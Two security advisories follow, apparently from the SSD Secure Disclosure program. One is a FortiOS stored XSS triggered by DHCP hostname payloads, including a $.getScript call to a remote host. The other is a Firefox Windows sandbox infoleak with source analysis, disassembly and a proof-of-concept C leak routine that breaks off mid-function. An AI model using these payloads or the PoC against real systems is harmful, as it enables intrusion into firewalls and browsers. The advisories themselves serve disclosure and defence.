SSD Advisory – Fortigate DHCP Stored XSS

Vulnerability Summary
The following advisory describes a Stored XSS Vulnerability found in Fortinet’s Fortigate Firewall(FortiOS) via an unauthenticated DHCP packet.
CVE
CVE-2019-6697
Credit
An independent Security Researcher, Toshitsugu Yoneyama, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
FortiOS v6.0.4 build 0231.
Vendor Response
Fortigate has fixed the vulnerability in FortiOS version 6.2.2
Vulnerability Details
An unauthenticated attacker can trigger a Stored XSS Vulnerability via a malicious DHCP packet in the Fortigate DHCP Monitor. This can happen if Device Detection is enabled through Network >Interface > Edit Interface > Device Detection

When this option is enabled the attacker may perform the following steps in order to exploit the vulnerability:

  1. Install dhtest or any other tool that can send arbitrary DHCP packets.
    (https://sargandh.wordpress.com/2012/02/23/linux-dhcp-client-simulation-tool/)
  2. Send a malicious DHCP packet. For example:
    #./dhtest-master/dhtest -i eth0 -m 12:34:56:78:90:12 -h "x<svg onload=alert();)>x"
        [Option]
        -m : mac address
        -h : hostname(dhcp option 12). The attacker can inject malicious scripts.
  3. Once the victim logs into Fortigate’s dashboard and goes to the “DHCP Monitor”
    (https://<ip>/ng/dhcp/monitor) the browser will execute the malicious script injected by the attacker.

But there are a few limitations:
The user’s input is validated, not allowing us to use tags like “<script src>”, “<img src=_onerror=>” and other similar options. There are also character count limits:

  • DHCP option 12 has a string size limit allowing only up to 256 characters. More information
    about this option is available in the RFC.
  • Fortigate’s string size can’t be longer than 128 characters.

However, Fortigate uses jQuery which allows the attacker to bypass the mentioned restrictions and execute arbitrary scripts using the following method:

#./dhtest-master/dhtest -i eth0 -m 12:34:56:78:90:12 -h "x<svg onmouseover=$.getScript('//www.example.jp/a.js')>x"

SSD Advisory – Firefox Sandbox Infoleak From Uninitialized Handle In CrossCall

Vulnerability summary
The crosscall FilesystemDispatcher::NtOpenFile can leak an uninitialized handle value to a renderer due to an incorrect return value in FileSystemPolicy::OpenFileAction. The crosscall NtOpenKey seems to also suffer from the exact same bug.
In this advisory, we show how to leak a function pointer stored in the broker’s stack (corresponding, in this case, to a return address).
We’ll first have a glance at a crosscall implementation, from the renderer to the broker. Then, we’ll explain where the bug lies before eventually explaining how to trigger the bug and find a way to disclose a function pointer.
Vendor Response
Firefox has released version 67 to address this issue, additional information can be obtained from: https://www.mozilla.org/en-US/security/advisories/mfsa2019-13/#CVE-2019-11694
CVE
CVE-2019-11694
Credit
An independent Security Researcher, Jeremy Fetiveau (@__x86), has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
The bug is specific to the Windows implementation of the sandbox. Both `x86` and `x64` builds are affected.
Vulnerability Details
Sandboxing:
On Windows, browsers usually have a sandbox where there is one main normally privileged process and several processes running at a lower privilege level. The basic idea is that every tab would execute in a restricted environment so that compromising this process would not give an attacker a complete access to its target’s machine. He would need to also evade the sandbox.
To implement that, browsers make use of different mechanisms provided by the operating system such as restricted tokens, low integrity levels, job objects or station/desktop isolation.
In order to be able to do operations, a renderer process will likely have to ask the broker to do it for him using an IPC mechanism.
When trying to do system calls, a renderer might instead do what is called a crosscall. This means that instead of directly making a system call, a renderer will send a message asking the broker to do it for him. Depending on the policy, the broker may or may not execute the system call and send the result back to the renderer, through IPC.
Crosscalls:
When setting up the sandbox, renderer-side functions in ntdll like ntdll!NtCreateFile are hooked so as to redirect execution to the interception functions implementing the crosscall. Those functions write data in memory and signal the broker to make a crosscall.
Then, the broker executes dispatcher functions that does the actual syscall and sends the result back to the renderer through shared memory.
If we’ll take the case of ntdll!NtCreateFile, the renderer will actually end up executing `TargetNtCreateFile`. What is does is the following:
1. Call the original syscall
2. If the resulting NTSTATUS code is either STATUS_ACCESS_DENIED or STATUS_NETWORK_OPEN_RESTRICTION
3. Validate parameters
4. Prepare shared memory
5. Send a signal to actually make the crosscall using the function CrossCall

// source/security/sandbox/chromium/sandbox/win/src/filesystem_interception.cc
NTSTATUS WINAPI TargetNtCreateFile(NtCreateFileFunction orig_CreateFile,
                                   PHANDLE file, ACCESS_MASK desired_access,
                                   POBJECT_ATTRIBUTES object_attributes,
                                   PIO_STATUS_BLOCK io_status,
                                   PLARGE_INTEGER allocation_size,
                                   ULONG file_attributes, ULONG sharing,
                                   ULONG disposition, ULONG options,
                                   PVOID ea_buffer, ULONG ea_length) {
  // Check if the process can open it first.
  NTSTATUS status = orig_CreateFile(file, desired_access, object_attributes,
                                    io_status, allocation_size,
                                    file_attributes, sharing, disposition,
                                    options, ea_buffer, ea_length);
  if (STATUS_ACCESS_DENIED != status &&
      STATUS_NETWORK_OPEN_RESTRICTION != status)
    return status;
  mozilla::sandboxing::LogBlocked("NtCreateFile",
                                  object_attributes->ObjectName->Buffer,
                                  object_attributes->ObjectName->Length);
  // We don't trust that the IPC can work this early.
  if (!SandboxFactory::GetTargetServices()->GetState()->InitCalled())
    return status;
  wchar_t* name = NULL;
  do {
    if (!ValidParameter(file, sizeof(HANDLE), WRITE))
      break;
    if (!ValidParameter(io_status, sizeof(IO_STATUS_BLOCK), WRITE))
      break;
    void* memory = GetGlobalIPCMemory();
    if (NULL == memory)
      break;
    uint32_t attributes = 0;
    NTSTATUS ret = AllocAndCopyName(object_attributes, &name, &attributes,
                                    NULL);
    if (!NT_SUCCESS(ret) || NULL == name)
      break;
    uint32_t desired_access_uint32 = desired_access;
    uint32_t options_uint32 = options;
    uint32_t disposition_uint32 = disposition;
    uint32_t broker = FALSE;
    CountedParameterSet<OpenFile> params;
    params[OpenFile::NAME] = ParamPickerMake(name);
    params[OpenFile::ACCESS] = ParamPickerMake(desired_access_uint32);
    params[OpenFile::DISPOSITION] = ParamPickerMake(disposition_uint32);
    params[OpenFile::OPTIONS] = ParamPickerMake(options_uint32);
    params[OpenFile::BROKER] = ParamPickerMake(broker);
    SharedMemIPCClient ipc(memory);
    CrossCallReturn answer = {0};
    // The following call must match in the parameters with
    // FilesystemDispatcher::ProcessNtCreateFile.
    ResultCode code = CrossCall(ipc, IPC_NTCREATEFILE_TAG, name, attributes,
                                desired_access_uint32, file_attributes, sharing,
                                disposition, options_uint32, &answer);
    if (SBOX_ALL_OK != code)
      break;
    status = answer.nt_status;
    if (!NT_SUCCESS(answer.nt_status))
      break;
    __try {
      *file = answer.handle;
      io_status->Status = answer.nt_status;
      io_status->Information = answer.extended[0].ulong_ptr;
    } __except(EXCEPTION_EXECUTE_HANDLER) {
      break;
    }
    mozilla::sandboxing::LogAllowed("NtCreateFile",
                                    object_attributes->ObjectName->Buffer,
                                    object_attributes->ObjectName->Length);
  } while (false);
  if (name)
    operator delete(name, NT_ALLOC);
  return status;
}

After the renderer called CrossCall so as to make an NtCreateFile crosscall, the broker is going to execute the function FilesystemDispatcher::NtCreateFile.
After a few checks and evaluating the low level policy, it will eventually call the FileSystemPolicy::CreateFileAction. This is where the actual syscall will be made.

// source/security/sandbox/chromium/sandbox/win/src/filesystem_dispatcher.cc
bool FilesystemDispatcher::NtCreateFile(IPCInfo* ipc,
                                        base::string16* name,
                                        uint32_t attributes,
                                        uint32_t desired_access,
                                        uint32_t file_attributes,
                                        uint32_t share_access,
                                        uint32_t create_disposition,
                                        uint32_t create_options) {
  if (!PreProcessName(name)) {
    // The path requested might contain a reparse point.
    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;
  }
  const wchar_t* filename = name->c_str();
  uint32_t broker = TRUE;
  CountedParameterSet<OpenFile> params;
  params[OpenFile::NAME] = ParamPickerMake(filename);
  params[OpenFile::ACCESS] = ParamPickerMake(desired_access);
  params[OpenFile::DISPOSITION] = ParamPickerMake(create_disposition);
  params[OpenFile::OPTIONS] = ParamPickerMake(create_options);
  params[OpenFile::BROKER] = ParamPickerMake(broker);
  // To evaluate the policy we need to call back to the policy object. We
  // are just middlemen in the operation since is the FileSystemPolicy which
  // knows what to do.
  EvalResult result = policy_base_->EvalPolicy(IPC_NTCREATEFILE_TAG,
                                               params.GetBase());
  // If the policies forbid access (any result other than ASK_BROKER),
  // then check for user-granted access to file.
  if (ASK_BROKER != result &&
      mozilla::sandboxing::PermissionsService::GetInstance()->
        UserGrantedFileAccess(ipc->client_info->process_id, filename,
                              desired_access, create_disposition)) {
    result = ASK_BROKER;
  }
  HANDLE handle;
  ULONG_PTR io_information = 0;
  NTSTATUS nt_status;
  if (!FileSystemPolicy::CreateFileAction(result, *ipc->client_info, *name,
                                          attributes, desired_access,
                                          file_attributes, share_access,
                                          create_disposition, create_options,
                                          &handle, &nt_status,
                                          &io_information)) {
    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;
  }
  // Return operation status on the IPC.
  ipc->return_info.extended[0].ulong_ptr = io_information;
  ipc->return_info.nt_status = nt_status;
  ipc->return_info.handle = handle;
  return true;
}

Here, NtCreateFileInTarget will do the actual system call.

// source/security/sandbox/chromium/sandbox/win/src/filesystem_policy.cc
bool FileSystemPolicy::CreateFileAction(EvalResult eval_result,
                                        const ClientInfo& client_info,
                                        const base::string16& file,
                                        uint32_t attributes,
                                        uint32_t desired_access,
                                        uint32_t file_attributes,
                                        uint32_t share_access,
                                        uint32_t create_disposition,
                                        uint32_t create_options,
                                        HANDLE* handle,
                                        NTSTATUS* nt_status,
                                        ULONG_PTR* io_information) {
  // The only action supported is ASK_BROKER which means create the requested
  // file as specified.
  if (ASK_BROKER != eval_result) {
    *nt_status = STATUS_ACCESS_DENIED;
    return false;
  }
  IO_STATUS_BLOCK io_block = {};
  UNICODE_STRING uni_name = {};
  OBJECT_ATTRIBUTES obj_attributes = {};
  SECURITY_QUALITY_OF_SERVICE security_qos = GetAnonymousQOS();
  InitObjectAttribs(file, attributes, NULL, &obj_attributes,
                    &uni_name, IsPipe(file) ? &security_qos : NULL);
  *nt_status = NtCreateFileInTarget(handle, desired_access, &obj_attributes,
                                    &io_block, file_attributes, share_access,
                                    create_disposition, create_options, NULL,
                                    0, client_info.process);
  *io_information = io_block.Information;
  return true;
}

Let’s compare both OpenFileAction to CreateFileAccess

// source/security/sandbox/chromium/sandbox/win/src/filesystem_policy.cc
bool FileSystemPolicy::OpenFileAction(EvalResult eval_result,
                                      const ClientInfo& client_info,
                                      const base::string16& file,
                                      uint32_t attributes,
                                      uint32_t desired_access,
                                      uint32_t share_access,
                                      uint32_t open_options,
                                      HANDLE* handle,
                                      NTSTATUS* nt_status,
                                      ULONG_PTR* io_information) {
  // The only action supported is ASK_BROKER which means open the requested
  // file as specified.
  if (ASK_BROKER != eval_result) {
    *nt_status = STATUS_ACCESS_DENIED;
    return true; // this line is different!
  }
  // An NtOpen is equivalent to an NtCreate with FileAttributes = 0 and
  // CreateDisposition = FILE_OPEN.
  IO_STATUS_BLOCK io_block = {};
  UNICODE_STRING uni_name = {};
  OBJECT_ATTRIBUTES obj_attributes = {};
  SECURITY_QUALITY_OF_SERVICE security_qos = GetAnonymousQOS();
  InitObjectAttribs(file, attributes, NULL, &obj_attributes,
                    &uni_name, IsPipe(file) ? &security_qos : NULL);
  *nt_status = NtCreateFileInTarget(handle, desired_access, &obj_attributes,
                                    &io_block, 0, share_access, FILE_OPEN,
                                    open_options, NULL, 0,
                                    client_info.process);
  *io_information = io_block.Information;
  return true;
}

In OpenFileAction, the following code is incorrect:

if (ASK_BROKER != eval_result) {
    *nt_status = STATUS_ACCESS_DENIED;
    return true;
}

The return value should be false instead of true.
OpenFileAction is called by the FilesystemDispatcher::NtOpenFile crosscall as follows:

bool FilesystemDispatcher::NtOpenFile(IPCInfo* ipc,
                                      base::string16* name,
                                      uint32_t attributes,
                                      uint32_t desired_access,
                                      uint32_t share_access,
                                      uint32_t open_options) {
  // [...]
  HANDLE handle; // not initialized
  ULONG_PTR io_information = 0;
  NTSTATUS nt_status;
  // can bail out early without modifying handle and while also returning true
  if (!FileSystemPolicy::OpenFileAction(result, *ipc->client_info, *name,
                                        attributes, desired_access,
                                        share_access, open_options, &handle,
                                        &nt_status, &io_information)) {
    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;
  }
  // Return operation status on the IPC.
  ipc->return_info.extended[0].ulong_ptr = io_information;
  ipc->return_info.nt_status = nt_status;
  ipc->return_info.handle = handle; // handle can be uninitialized here
  return true;
}

When the condition ASK_BROKER != eval_result is true, access to the file is denied and the broker should then execute.

    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;

But as we saw previously, that is not case and we would therefore execute the following code:

  ipc->return_info.extended[0].ulong_ptr = io_information;
  ipc->return_info.nt_status = nt_status;
  ipc->return_info.handle = handle;

io_information is set to 0 and nt_status would be set to STATUS_ACCESS_DENIED.
However the handle is not initialized! Therefore, the broker will put some uninitialized stack memory in the shared memory when executing ipc->return_info.handle = handle
Triggering the bug
Long story short, to trigger the bug, you only need to make an NtOpenFile crosscall on a file for which access would be denied.
It is required to manually read the shared memory or do the call to CrossCall directly because TargetNtOpenFile checks answer.nt_status and does not fetch shared memory the nt_status is an error code (which is what we expect). The line *file = answer.handle; would not get executed.
But as this is renderer code, you can do whatever you want. Either call CrossCall (or make your own) or scan the shared memory.

ResultCode code = CrossCall(ipc, IPC_NTOPENFILE_TAG, name, attributes,
                                desired_access_uint32, sharing, options_uint32,
                                &answer);
    if (SBOX_ALL_OK != code)
      break;
    status = answer.nt_status;
    if (!NT_SUCCESS(answer.nt_status)) // (renderer side) nt_status != NT_SUCCESS
      break;
    __try {
      *file = answer.handle; // here you would fetch the leaked data from the shared memory
      io_status->Status = answer.nt_status;
      io_status->Information = answer.extended[0].ulong_ptr;
    } __except(EXCEPTION_EXECUTE_HANDLER) {
      break;
}

The trigger would roughly look like this.

RtlInitUnicodeString(&filename, L"\\??\\C:\\");
InitializeObjectAttributes(&obj_attr, &filename, OBJ_CASE_INSENSITIVE, NULL, NULL);
NtOpenFile(&file, FILE_WRITE_DATA, &obj_attr, &iostatusblock, 1, NULL);

Getting a function pointer
We need to make sure that the stack contains something interesting. If you try to open the file L"\\??\\C:\\secret\\canttouchme.txt", you would not get anything interesting. The return handle would actually be the number of characters of the file name (in this case, 0x1D).
Indeed, when receiving the signal for a crosscall, the broker would first execute the function sandbox::SharedMemIPCServer::InvokeCallback.

bool SharedMemIPCServer::InvokeCallback(const ServerControl* service_context,
                                        void* ipc_buffer,
                                        CrossCallReturn* call_result) {
// [...]
  if (!GetArgs(params.get(), &ipc_params, args))
    return false;
// [...]
  if (handler) {
    switch (params->GetParamsCount()) {
// [...]
      case 7: {
        Dispatcher::Callback7 callback =
            reinterpret_cast<Dispatcher::Callback7>(callback_generic);
        if (!(handler->*callback)(&ipc_info, args[0], args[1], args[2], args[3],
                                  args[4], args[5], args[6]))
          break;
        error = false;
        break;
      }
// [...]
}

The function GetArgs will fetch the arguments from the shared memory. For every argument, it will call a function GetRawParameterXXX. Henceforth, when fetching the filename parameter, GetParameterStr will get called.

// Fills up the list of arguments (args and ipc_params) for an IPC call.
bool GetArgs(CrossCallParamsEx* params, IPCParams* ipc_params,
             void* args[kMaxIpcParams]) {
  // [...]
  for (uint32_t i = 0; i < params->GetParamsCount(); i++) {
    uint32_t size;
    ArgType type;
    args[i] = params->GetRawParameter(i, &size, &type);
    if (args[i]) {
      ipc_params->args[i] = type;
      switch (type) {
        case WCHAR_TYPE: {
          std::unique_ptr<base::string16> data(new base::string16);
          if (!params->GetParameterStr(i, data.get())) {
            args[i] = 0;
            ReleaseArgs(ipc_params, args);
            return false;
          }
          args[i] = data.release();
          break;
        }
        // [...]
      }
    }
  }
  return true;
}

The code of GetParameterStr is the following:

bool CrossCallParamsEx::GetParameterStr(uint32_t index,
                                        base::string16* string) {
 // [...]
  void* start = GetRawParameter(index, &size, &type);
 // [...]
  string->append(reinterpret_cast<wchar_t*>(start), size/(sizeof(wchar_t)));
  return true;
}bool CrossCallParamsEx::GetParameterStr(uint32_t index,
                                        base::string16* string) {
 // [...]
  void* start = GetRawParameter(index, &size, &type);
 // [...]
  string->append(reinterpret_cast<wchar_t*>(start), size/(sizeof(wchar_t)));
  return true;
}

If you’ll read the disassembly, you will find the following instructions:

mov     ebx, [esi+14h]
mov     edx, [esi+10h]
mov     edi, eax
shr     edi, 1
mov     [ebp+var_18], ebx
sub     ebx, edx
cmp     ebx, edi
jnb     short loc_4162A0

Those instructions check if the length of the file name is greater than the length of the parameter string. When debugging, we can than see the original capacity of the string is of 7 characters. So we compare the number of characters of the file name to 7.
In the case of a greater string such as `L”\\??\\C:\\secret\\canttouchme.txt”`, the following basic block is executed.

sub     esp, 10h
mov     al, [ebp+var_14]
mov     [esp+28h+var_24], al
mov     [esp+28h+var_20], ecx
mov     ecx, esi
mov     [esp+28h+var_1C], edi
mov     [esp+28h+same_address_as_the_uninitialized_handle], edi // look here!
call    std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::_Reallocate_grow_by<`std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::append(wchar_t const * const,uint)'::`1'::_lambda_1_,wchar_t const *,uint>(uint,`std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>>::append(wchar_t const * const,uint)'::`1'::_lambda_1_,wchar_t const *,uint)
jmp     short loc_416284

This will store the number of characters of the file name string. This is something an attacker does not want to happen because it is a completely irrelevant information.
But what happens if the string is smaller? A valid file name could be L"\\??\\C:\\".
The following code will be executed instead:

loc_4162AD:
and     eax, 0FFFFFFFEh
lea     edx, [esi+edx*2]
push    eax             ; Size
push    ecx             ; Src
push    edx             ; Dst
call    _memmove // return address == uninitialized handle value
add     esp, 0Ch

This is a much better thing because it doesn’t write the string length on the address that will later correspond to the uninitialized handle.
Let’s do an NtOpenFile crosscall with the filename L"\\??\\C:\\" and use FILE_WRITE_DATA as a DesiredAccessMask like this: NtOpenFileStruct(&file, FILE_WRITE_DATA, &obj_attrib, &io_status_block, 1, NULL);
Now we will take a look at the leaking handle and we will see what to what it belongs when attaching to the broker process.

0:069> ln 002662bb
Browse module
Set bu breakpoint
*** WARNING: Unable to verify checksum for c:\mozilla-source\mozilla-central\obj-i686-pc-mingw32\dist\bin\firefox.exe
 [c:\mozilla-source\mozilla-central\security\sandbox\chromium\sandbox\win\src\crosscall_server.cc @ 293] (00266200)   firefox!sandbox::CrossCallParamsEx::GetParameterStr+0xbb   |  (002662d0)   firefox!sandbox::SetCallError

So basically, instead of leaking a string size, we leak a function pointer that corresponds to the return address pushed on the stack while executing the _memmove called by GetParameterStr.
This demonstrates that this bug does leak some sensitive information from the broker and that it is possible to get different kind of data by playing with the crosscall parameters.
Testing the vulnerability
To play with the sandbox without using a renderer RCE bug, a simple way to do that is using reflective DLL injection. However, Firefox prevents that by hooking the function kernel32!BaseThreadInitThunk.

0:028> u KERNEL32!BaseThreadInitThunk
KERNEL32!BaseThreadInitThunk:
763e8460 e99bc87bde      jmp     mozglue!patched_BaseThreadInitThunk (54ba4d00)
763e8465 51              push    ecx

Therefore, simply patch the JMP by the standard MOV EDI, EDI.

KERNEL32!BaseThreadInitThunk:
763e8460 8bff            mov     edi,edi
763e8462 55              push    ebp

Looking at the dissassembly:

.text:00416A00                 mov     [ebp+__io_information], 0
.text:00416A07                 lea     edx, [ebp+phandle]
.text:00416A0A                 push    eax             ; unsigned int *
.text:00416A0B                 push    ecx             ; int *
.text:00416A0C                 push    edx             ; void **
.text:00416A0D                 push    [ebp+arg_14]    ; unsigned int
.text:00416A10                 push    [ebp+arg_10]    ; unsigned int
.text:00416A13                 push    [ebp+arg_C]     ; unsigned int
.text:00416A16                 push    [ebp+arg_8]     ; unsigned int
.text:00416A19                 push    [ebp+arg_4]     ; std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t> > *
.text:00416A1C                 push    dword ptr [edi] ; sandbox::ClientInfo *
.text:00416A1E                 push    esi             ; sandbox::EvalResult
.text:00416A1F                 call    sandbox::FileSystemPolicy::OpenFileAction(sandbox::EvalResult,sandbox::ClientInfo const &,std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>> const &,uint,uint,uint,uint,void * *,long *,ulong *)
.text:00416A24                 add     esp, 28h
.text:00416A27                 mov     ecx, [ebp+arg_0]
.text:00416A2A                 test    al, al
.text:00416A2C                 jz      short loc_416A3D
.text:00416A2E                 mov     eax, [ebp+__io_information]
.text:00416A31                 mov     [ecx+1Ch], eax
.text:00416A34                 mov     ebx, [ebp+nt_status]
.text:00416A37                 mov     eax, [ebp+phandle]
.text:00416A3A                 mov     [ecx+18h], eax
public: static bool __cdecl sandbox::FileSystemPolicy::OpenFileAction(enum  sandbox::EvalResult, struct sandbox::ClientInfo const &, class std::basic_string<wchar_t, struct std::char_traits<wchar_t>, class std::allocator<wchar_t>> const &, unsigned int, unsigned int, unsigned int, unsigned int, void * *, long *, unsigned long *) proc near
.text:00418A20                                         ; CODE XREF: sandbox::FilesystemDispatcher::NtOpenFile(sandbox::IPCInfo *,std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>> *,uint,uint,uint,uint)+11F↑p
.text:00418A20
.text:00418A20 var_4C          = dword ptr -4Ch
.text:00418A20 var_48          = dword ptr -48h
.text:00418A20 var_44          = dword ptr -44h
.text:00418A20 var_3C          = _OBJECT_ATTRIBUTES ptr -3Ch
.text:00418A20 var_24          = _UNICODE_STRING ptr -24h
.text:00418A20 var_1C          = dword ptr -1Ch
.text:00418A20 var_18          = dword ptr -18h
.text:00418A20 var_14          = dword ptr -14h
.text:00418A20 arg_0           = dword ptr  8
.text:00418A20 arg_4           = dword ptr  0Ch
.text:00418A20 arg_8           = dword ptr  10h
.text:00418A20 arg_C           = dword ptr  14h
.text:00418A20 arg_10          = dword ptr  18h
.text:00418A20 arg_14          = dword ptr  1Ch
.text:00418A20 arg_18          = dword ptr  20h
.text:00418A20 arg_1C          = dword ptr  24h
.text:00418A20 arg_20          = dword ptr  28h
.text:00418A20 arg_24          = dword ptr  2Ch
.text:00418A20
.text:00418A20                 push    ebp
.text:00418A21                 mov     ebp, esp
.text:00418A23                 push    ebx
.text:00418A24                 push    edi
.text:00418A25                 push    esi
.text:00418A26
.text:00418A26 eval_result:
.text:00418A26                 and     esp, 0FFFFFFF0h
.text:00418A29                 sub     esp, 40h
.text:00418A2C                 mov     ecx, ___security_cookie
.text:00418A32                 mov     eax, [ebp+arg_0]
.text:00418A35                 mov     edx, [ebp+arg_20]
.text:00418A38                 xor     ecx, ebp
.text:00418A3A                 cmp     eax, 3 // compare DENY_ACCESS to EVAL_BROKER
.text:00418A3D                 mov     [esp+4Ch+var_14], ecx
.text:00418A41                 jnz     loc_418AFF
[...]
.text:00418AFF loc_418AFF:                             ; CODE XREF: sandbox::FileSystemPolicy::OpenFileAction(sandbox::EvalResult,sandbox::ClientInfo const &,std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>> const &,uint,uint,uint,uint,void * *,long *,ulong *)+21↑j
.text:00418AFF                 mov     dword ptr [edx], 0C0000022h
.text:00418B05
.text:00418B05 loc_418B05:                             ; CODE XREF: sandbox::FileSystemPolicy::OpenFileAction(sandbox::EvalResult,sandbox::ClientInfo const &,std::basic_string<wchar_t,std::char_traits<wchar_t>,std::allocator<wchar_t>> const &,uint,uint,uint,uint,void * *,long *,ulong *)+DD↑j
.text:00418B05                 mov     ecx, [esp+4Ch+var_14]
.text:00418B09                 xor     ecx, ebp        ; cookie
.text:00418B0B                 call    __security_check_cookie(x)
.text:00418B10                 mov     al, 1
.text:00418B12                 lea     esp, [ebp-0Ch]
.text:00418B15                 pop     esi
.text:00418B16                 pop     edi
.text:00418B17                 pop     ebx
.text:00418B18                 pop     ebp
.text:00418B19                 retn
enum EvalResult {
  // Comparison opcode values:
  EVAL_TRUE,   // Opcode condition evaluated true.
  EVAL_FALSE,  // Opcode condition evaluated false.
  EVAL_ERROR,  // Opcode condition generated an error while evaluating.
  // Action opcode values:
  ASK_BROKER,  // The target must generate an IPC to the broker. On the broker
               // side, this means grant access to the resource.
  DENY_ACCESS,   // No access granted to the resource.
  GIVE_READONLY,  // Give readonly access to the resource.
  GIVE_ALLACCESS,  // Give full access to the resource.
  GIVE_CACHED,  // IPC is not required. Target can return a cached handle.
  GIVE_FIRST,  // TODO(cpu)
  SIGNAL_ALARM,  // Unusual activity. Generate an alarm.
  FAKE_SUCCESS,  // Do not call original function. Just return 'success'.
  FAKE_ACCESS_DENIED,  // Do not call original function. Just return 'denied'
                       // and do not do IPC.
  TERMINATE_PROCESS,  // Destroy target process. Do IPC as well.
};

If the file we’re trying to open gets an DENY_ACCESS EvalResult instead of ASK_BROKER, the bug will be triggered. The disassembly shows that the handle will be uninitialized.
Bug variants
The NtOpenKey dispatcher (broker side) contains the exact same bug and will also write an uninitialized HANDLE in the shared memory. Me might be able to leak different kind of information using this bug because the handle variable would be allocated at a different place on the stack.

bool RegistryDispatcher::NtOpenKey(IPCInfo* ipc,
                                   base::string16* name,
                                   uint32_t attributes,
                                   HANDLE root,
                                   uint32_t desired_access) {
// [...]
  HANDLE handle; // not initialized
  NTSTATUS nt_status;
  if (!RegistryPolicy::OpenKeyAction(result, *ipc->client_info, *name,
                                     attributes, root, desired_access, &handle,
                                     &nt_status)) {
    ipc->return_info.nt_status = STATUS_ACCESS_DENIED;
    return true;
  }
  // Return operation status on the IPC.
  ipc->return_info.nt_status = nt_status;
  ipc->return_info.handle = handle; // may be uninitialized
  return true;
}
bool RegistryPolicy::OpenKeyAction(EvalResult eval_result,
                                   const ClientInfo& client_info,
                                   const base::string16& key,
                                   uint32_t attributes,
                                   HANDLE root_directory,
                                   uint32_t desired_access,
                                   HANDLE* handle,
                                   NTSTATUS* nt_status) {
  // The only action supported is ASK_BROKER which means open the requested
  // file as specified.
  if (ASK_BROKER != eval_result) {
    *nt_status = STATUS_ACCESS_DENIED;
    return true; // should be balse, handle is not written
  }
// [...]
  return true;
}

Exploit
The POC uses the reflective DLL injection tool from Stephen Fewer. https://github.com/stephenfewer/ReflectiveDLLInjection Simply change ReflectiveDll.c and Sandbox.h. Firefox prevents DLL injections by hooking kernel32!BaseThreadInitThunk. You can remove that using this windbg command: eb kernel32!BaseThreadInitThunk 8b ff 55 8b ec
In order to find IPC Shared Memory, the POC simply uses OFFSET_TO_G_SHARED_IPC_MEMORY as an offset between the firefox module base and firefox!g_shared_IPC_memory. Here is the exact version used for which the offset works.
$ hg log -l 1
changeset: 451842:8330fe920aea

/*
this is some code to trigger the uninitialized handle leak
it leaks stack memory from the broker
in this case, the leaked value used to be a return address
*/
#include "ReflectiveLoader.h"
#include "Sandbox.h"
#define OFFSET_TO_G_SHARED_IPC_MEMORY 0x000411c0
#define STATUS_ACCESS_DENIED          ((NTSTATUS)0xC0000022L)
#define IPC_NTOPENFILE_TAG 4
typedef unsigned int uint32_t;
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef enum _ResultCode {
	SBOX_ALL_OK = 0,
	// Error is originating on the win32 layer. Call GetlastError() for more
	// information.
	SBOX_ERROR_GENERIC = 1,
	// An invalid combination of parameters was given to the API.
	SBOX_ERROR_BAD_PARAMS = 2,
	// The desired operation is not supported at this time.
	SBOX_ERROR_UNSUPPORTED = 3,
	// The request requires more memory that allocated or available.
	SBOX_ERROR_NO_SPACE = 4,
	// The ipc service requested does not exist.
	SBOX_ERROR_INVALID_IPC = 5,
	// The ipc service did not complete.
	SBOX_ERROR_FAILED_IPC = 6,
} ResultCode;
typedef struct _CrossCallReturn {
	uint32_t tag;
	ResultCode call_outcome;
	uint32_t padding; // to reflect the size of the actual structure!
	uint32_t padding2;
	union {
		NTSTATUS nt_status;
		DWORD    win32_result;
	};
	uint32_t extended_count;
	HANDLE handle;
} CrossCallReturn;
void doOpenFile() {
	NT_OPEN_FILE NtOpenFileStruct;
	_RtlInitUnicodeString __RtlInitUnicodeString;
	HMODULE  hModule = NULL;
	HANDLE file = NULL;
	UNICODE_STRING filename;
	OBJECT_ATTRIBUTES obja;
	IO_STATUS_BLOCK iostatusblock;
	hModule = LoadLibraryA("ntdll.dll");
	NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile");
	__RtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
	// we can't open C:\\
	// string length affects uninitialized memory
	__RtlInitUnicodeString(&filename, L"\\??\\C:\\");
	InitializeObjectAttributes(&obja, &filename, OBJ_CASE_INSENSITIVE, NULL, NULL);
	// trigger, go to TargetOpenFile
	NtOpenFileStruct(&file, FILE_WRITE_DATA, &obja, &iostatusblock, 1, NULL); // should trigger an access denied
}
PUINT32 getSharedIPCMemory() {
	unsigned long sharedMemory;
	sharedMemory = (unsigned long)GetModuleHandleA("firefox.exe");
	sharedMemory += OFFSET_TO_G_SHARED_IPC_MEMORY;
	sharedMemory = *(unsigned long*)sharedMemory;
	return sharedMemory;
}
UINT32 leakFromSandbox()
{
	PUINT32 sharedMemory;
	CrossCallReturn* ret = (CrossCallReturn*)malloc(sizeof(CrossCallReturn)*2);
	memset(ret, 0x41, sizeof(CrossCallReturn)*2);
	size_t i = 0;
	// trigger uninitialized handle leak
	doOpenFile();
	// look for firefox!g_shared_IPC_memory
	sharedMemory = getSharedIPCMemory();
	// scan shared memory (firefox!g_shared_IPC_size = 0x2000)
	// we look for a CrossCallReturn with
	// a STATUS_ACCESS_DENIED status
	// and an IPC_NTOPENFILE_TAG tag
	for (i = 0; i < (0x2000 / 4); ++i) {
		if (*sharedMemory == STATUS_ACCESS_DENIED) {
			memcpy(ret, sharedMemory - 4, sizeof(CrossCallReturn));
			if (ret->tag == IPC_NTOPENFILE_TAG) {
				// return what should be the handle but actually is
				// uninitialized broker stack memory
				return ret->handle;
			}
		}
		sharedMemory++;
	}
	return 0;
}
UINT32 testSandbox() {
	UINT32 leakedHandle = 0;
